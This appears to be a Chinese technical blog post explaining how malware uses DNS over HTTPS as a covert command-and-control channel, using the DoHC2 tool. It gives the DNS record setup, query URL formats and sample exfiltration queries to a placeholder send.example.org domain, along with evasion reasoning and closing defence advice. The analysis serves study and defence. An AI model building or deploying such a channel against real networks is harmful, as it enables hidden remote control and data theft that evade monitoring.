天天看點

基于DoH的C2——本質上就是dns隧道做的c2封裝在了https裡

工具清單:

https://attack.mitre.org/techniques/T1572/

https://www.freebuf.com/news/260950.html

https://github.com/sensepost/godoh ==>sensepost有不少人在使用

https://github.com/SpiderLabs/DoHC2

https://github.com/1135/notes/blob/master/sec_C2.md

In order to develop this we used some of the awesome work of others. Below is a list of those we either used their code or were inspired by. If we missed you please let us know so we can add your name!

lsassy by @HackAndDo used for some Windows modules

goDoH by @leonjza from SensePost used for DoH

BishopFox Sliver used in some places as they already did a fanstastic job

Merlin used for reflective DLLs support

dgoogauth used for the 2FA functionality

gobfuscate used to support agent obfuscation

Stack Overflow because isn't this how we develop now?

Bad Sector Labs for their Domain Hiding technique using TLS 1.3, ESNI, and Cloudflare

淺析惡意軟體通信技術:基于DoH的C2信道

XHJ2020 2021-10-20 13:45:56 55642 2

*本文僅用于技術分享與讨論,嚴禁用于其它用途,所帶來的法律風險與本文無關。

背景概述

對僵屍程式、木馬等具有遠控能力的惡意軟體而言,C&C信道不僅是其正常運作的基本需求,也是其維持自身健壯性、隐蔽性的關鍵所在。其中,常見遠控工具主要面臨兩方面問題:遠控流量易被檢測、被阻斷、被審計;控制者身份和C&C伺服器易被溯源追蹤。

針對以上問題,近年來,紅隊在實戰中研究發現了多種可利用的對抗技術,以應對網絡邊界的流量審計和防禦人員的溯源追蹤。比如:基于 DoH(DNS over HTTPS)、Domain Fronting(域前置)、Domain Hiding(域隐藏)、Domian Borrowing(域借用)、Instant Message(即時消息)、線上剪切闆(pastbin等)、社交網絡(twitter等)、雲函數、雲存儲等公共資源的C&C信道。

基于DoH的C2——本質上就是dns隧道做的c2封裝在了https裡

該類基于公共資源的C&C信道有一個共同特點,即控制者不再僅依賴自建C&C伺服器對被控主機進行管控,而是利用網際網路上開放的公共服務充當C&C伺服器的角色。其優勢在于:

(1) 防流量審查:被控端不與C&C伺服器直接通信,而是與網際網路上公開、正常的網絡服務通信,将其自身産生的惡意流量僞裝成正常使用者的合法流量,可有效突破本地和網絡邊界的流量審查以及防火牆限制。

(2) 防溯源追蹤:利用網際網路上的公共服務中轉被控端與C&C伺服器之間的網絡流量(或充當C&C伺服器角色),以隐藏C&C伺服器的位址,可有效降低C&C伺服器或BotMaster被防禦人員溯源追蹤的可能性。

本文目的

作為公共資源型C&C信道的一種方式,本文主要對DoH的産生背景、基本原理、實際案例進行概述,同時以開源工具DoHC2為例,讨論惡意軟體在利用DoH充當C&C信道的過程中,如何設計信道運作流程、如何定義協定格式等内容,最後讨論DoH的适用場景并提出防禦建議。

DoH簡介

1 DoH的産生

傳統的DNS協定通過UDP發送DNS查詢請求,通信内容沒有加密,安全性較弱,易受中間人攔截和操縱。為了解決傳統 DNS 的弊端,先後誕生了多種網絡協定,以強化域名系統的安全性,如: DNSSEC、 DNSCrypt、 DNS over TLS、 DNS over HTTPS等。其中,DoH是目前主流浏覽器唯一支援的提高DNS安全性的協定。

基于DoH的C2——本質上就是dns隧道做的c2封裝在了https裡

作為一種彌補現行DNS安全的新協定,DoH在通信過程中基于HTTPS發送DNS查詢請求,并從某個可信DoH伺服器(知名服務商提供)擷取查詢結果 。因為通信内容是加密傳輸的,是以可有效解決DNS監視和DNS劫持的問題。

基于DoH的C2——本質上就是dns隧道做的c2封裝在了https裡

2 DoH的現狀

目前,DoH還在标準化的過程中:RFC方面,它已經有了相應的草案,但還沒正式釋出。雖然尚未正式釋出,但Firefox 從 62 版本已開始支援 DoH、Chrome/Chromium 從 66 版本也已開始支援 DoH。此外,Google 、Cloudflare、Quad9 等知名服務提供商也提供了支援DoH功能的DNS伺服器。

基于DoH的C2——本質上就是dns隧道做的c2封裝在了https裡

3 DoH的案例 

雖然通過DoH可避免中間人攻擊和隐私洩露的風險,然而在提供安全性的同時,DoH也存在被攻擊者惡意利用的風險。據報道:

2019年7月, 360Netlab的安全人員發現首個利用 DoH的惡意軟體 Godlua ,該惡意軟體利用DoH協定從某域名的TXT記錄中擷取攻擊者預留的控制指令(參考:Godlua Backdoor分析報告)。

2020年5月,卡巴斯基的安全人員發現伊朗APT組織OilRig(APT34)已将DoH武器化,成為第一個将DoH協定納入其黑客安全工具庫的APT組織(參考:APT組織将DoH武器化)。

信道原理

在網絡通信層面,被控端與C&C伺服器的通信主要有兩類請求,一是被控端從C&C伺服器擷取攻擊者下發的控制指令,二是被控端将指令的執行結果或竊取的敏感檔案回傳給C&C伺服器。

為滿足以上需求,基于DoH充當C&C信道的方式與基于DNS充當C&C信道的方式是一樣的,都是通過子域名查詢攜帶傳遞的資訊。不同之處在于,DoH多了一層通過HTTPS包裹“DNS查詢”的過程。

其中,常見DNS記錄類型如下圖所示:

基于DoH的C2——本質上就是dns隧道做的c2封裝在了https裡

在具體實作上,惡意軟體通常利用DNS  TXT記錄擷取控制指令、利用DNS A記錄(或TXT記錄、AAAA記錄等)回傳結果資訊。示例如下:

(1) 擷取控制指令:通過查詢子域名的TXT記錄,從DNS響應中擷取攻擊者預留的控制指令。

基于DoH的C2——本質上就是dns隧道做的c2封裝在了https裡

(2) 回傳結果資訊:通過查詢子域名的A記錄,将敏感資訊發送到攻擊者控制的DNS伺服器。

基于DoH的C2——本質上就是dns隧道做的c2封裝在了https裡

為什麼被控端的DNS查詢請求最終會達到攻擊者控制的DNS伺服器? 這是NS記錄在起作用。NS記錄:用于指定該域名的子域名查詢由哪個DNS伺服器來解析。

備注:在DNS查詢的過程中,如果本地DNS有緩存,則傳回緩存中的内容;如果本地DNS無緩存,則從根DNS伺服器遞歸查詢,請求最終會到達NS記錄所指向的伺服器。(DNS遞歸查詢)

信道流程

以開源工具DoHC2為例,基于DoH建構C&C信道的通信流程如圖所示。其中,自建DNS伺服器由攻擊者搭建并控制,本質是一段Python腳本,用于中轉被控端與C&C伺服器之間的網絡流量;C&C伺服器由Cobaltstrike Teamserver搭建部署完成,用于對被控端程式進行遠端控制。二者即可單獨部署,也可部署在一台伺服器。

基于DoH的C2——本質上就是dns隧道做的c2封裝在了https裡
基于DoH的C2——本質上就是dns隧道做的c2封裝在了https裡

該工具的安裝步驟可參考:https://github.com/SpiderLabs/DoHC2。在使用該工具前,需要先申請域名,并配置DNS記錄。其中,使用兩條NS記錄隻是該工具的設計,一條在擷取控制指令時使用,一條在回傳結果資訊時使用。

(1)建立一條A記錄,對應的記錄值為自建DNS的IP位址;

(2)建立兩條NS記錄,對應的記錄值為剛剛建立的A記錄。

1 用戶端構造DNS查詢請求

在運作過程中,DoHC2用戶端發往dns.google.com(或其它DoH伺服器)的DNS查詢請求如下所示,該請求最終會經公共DNS伺服器,到達自建DNS伺服器,進而轉發給C&C伺服器,實際的payload位于name字段。

https://dns.google.com/resolve?name={子域名字元串}.receive.example.org&type=TXT

https://dns.google.com/resolve?name={子域名字元串}.send.example.org&type=TXT

1.1 協定格式:擷取控制指令

基于DoH的C2——本質上就是dns隧道做的c2封裝在了https裡

(1) 第1次查詢:擷取控制指令的長度大小

"{0}.{1}.{2}", dohSocketHandle, session, receiveHostname

{0} dohSocketHandle: 用戶端的唯一标志

{1} session:  随機的session辨別

{2} receiveHostname: 子域名 receive.example.org

示例:

iyyk.bfra.receive.example.org

(2) 第1-n次查詢:擷取控制指令的實際内容(循環)

"{0}.{1}.{2}.{3}", dohSocketHandle, pos, session, receiveHostname

dohSocketHandle: 用戶端的唯一标志

pos:  從0開始,最多1500次

session: 随機的session辨別

receiveHostname: 子域名 receive.example.org

iyyk.bfra.0.receive.example.org

iyyk.bfra.1.receive.example.org

iyyk.bfra.2.receive.example.org

......

備注:由于單個TXT記錄一般不超過255位元組,是以對于控制指令過長的情況,需要發送多次DNS TXT查詢,每次擷取部分字元串,最後将其拼接為原始内容。

1.2 協定格式:回傳結果資訊

基于DoH的C2——本質上就是dns隧道做的c2封裝在了https裡
基于DoH的C2——本質上就是dns隧道做的c2封裝在了https裡

(1) 第1次查詢: 告訴伺服器,本次資料傳輸需要多少次DNS查詢

"{0}.{1}.{2}.{3}", dohSocketHandle, entries, session, sendHostname

{1} entries: 本次資料傳輸需要多少次查詢

{2} session:  整個session的唯一辨別

{3} sendHostname: 查詢子域名 send.example.org

iyyk.25.4q9j.send.example.org

(2) 第1-n次查詢: 開始傳輸待發送的資料,分片的内容位于{3}處

"{0}.{1}.{2}.{3}.{4}", dohSocketHandle, pos, session, String.Join(".", labels.ToArray()), sendHostname

{0}  dohSocketHandle: 用戶端的唯一标志

{1} pos:  此次傳輸資料在整個資料塊中的相對位置 

{3} String.Join(".", labels.ToArray()): 此次傳輸的實際資料(最多三個資料塊,由labelsPerLookup指定)

{4} sendHostname: 查詢子域名 send.example.org

iyyk.0.4q9j.kyks5hzzm8epo9sfvwakuwwr6bhsdvhtibambriwae5uezgo8t.sqlb2wb1a013lppz2psycczcyi4bb5grqawqb2pcyqcq6bler7.9dwbx3gfhv6qeibgbeinfvdbqq7kkugbvtfivwlrt1ikcp77rx.send.example.org

iyyk.1.4q9j.pnlsx2crqygl3bxcgrghzgbxht0fottyfmtrdzotna91gzv3hl.mdft2tbrvm00gmcbiptvo0z2gz0qaai2xldqsnlcfqwdlnhonq.qagal9hxyusk1z0drrku7klxheokyamii3mlv7iny44pzaibaz.send.example.org

iyyk.2.4q9j.dysua7kowwb2qdhglebdqca7t6y960egsyzaxoorbkczix9lag.nkty7xegsw2lfg6q3prn8hwkkzxm35kafl0mdmlaga94kbgyxk.xrsuoukp0mxqdc2uxfm42azefuu6x3drkrlmugy6ly0xpp9ypa.send.example.org

備注:如果回傳的字元串太長(或檔案太大),則需要将字元串分割後傳輸,每次傳遞特定大小的内容。待DNS伺服器收到所有請求後,再将分割後的資訊還原。

2 服務端處理DNS查詢請求

當DNS查詢請求到達自建DNS伺服器時,Python腳本會依據子域名的辨別進行判斷,以确定傳回控制指令,還是接收回傳結果。

基于DoH的C2——本質上就是dns隧道做的c2封裝在了https裡

一些讨論

1 适用場景

雖然單純基于DNS協定建構C&C信道的方式,具有較好的隐蔽性,可繞過部分防火牆的攔截。但對于本地DNS伺服器而言,其通信内容是明文的,且目前對惡意DNS的檢測手段也比較成熟,如:子域名的長度、元音字母個數、請求的心跳頻率等因素都會引發異常行為。

基于DoH的C2——本質上就是dns隧道做的c2封裝在了https裡

基于DoH協定建構C&C信道的方式,不僅通信内容可基于HTTPS協定加密,而且與高可信DoH服務的通信(而非本地DNS伺服器)不會引發異常行為,避免了基于DNS的惡意行為檢測機制。此外,在整個通信過程中,任何參與節點都無法獲知C&C伺服器的位址資訊,也無法掌握全部的關鍵資訊。

任何技術方案都不是完美的,基于DoH的C&C信道也是如此。如果受害終端向DoH伺服器發送過多的DNS查詢請求,尤其一些生僻域名的查詢,易觸發DoH服務商的異常行為檢測機制。而且由于每次DNS查詢僅能發送或響應特定長度的内容,是以DoH相對适合傳輸内容有限的情況(如:擷取控制指令),不适合傳輸超長内容的場景(如:回傳大檔案)。

2 防禦建議

對于企業的邊界而言,由于DNS查詢請求被HTTPS加密,無法擷取明文内容,是以基于通信内容進行檢測的手段無法有效發揮作用。一種比較直接的手段,便是屏蔽企業内部終端發往DoH伺服器的所有請求。雖然有一定的附帶損害,但由于DoH服務并未大規模應用,故不會造成實質性影響。

對于DoH服務商而言,由于DNS查詢達到DoH伺服器後已是明文内容,是以針對惡意DNS的檢測技術在這裡就有了用武之地。此外,DoH服務商也可基于惡意DNS查詢請求獲知被控端的主機規模,以及自建DNS伺服器的位址資訊,可進一步與執法機構配合以對利用DoH的惡意行為進行打擊。

繼續閱讀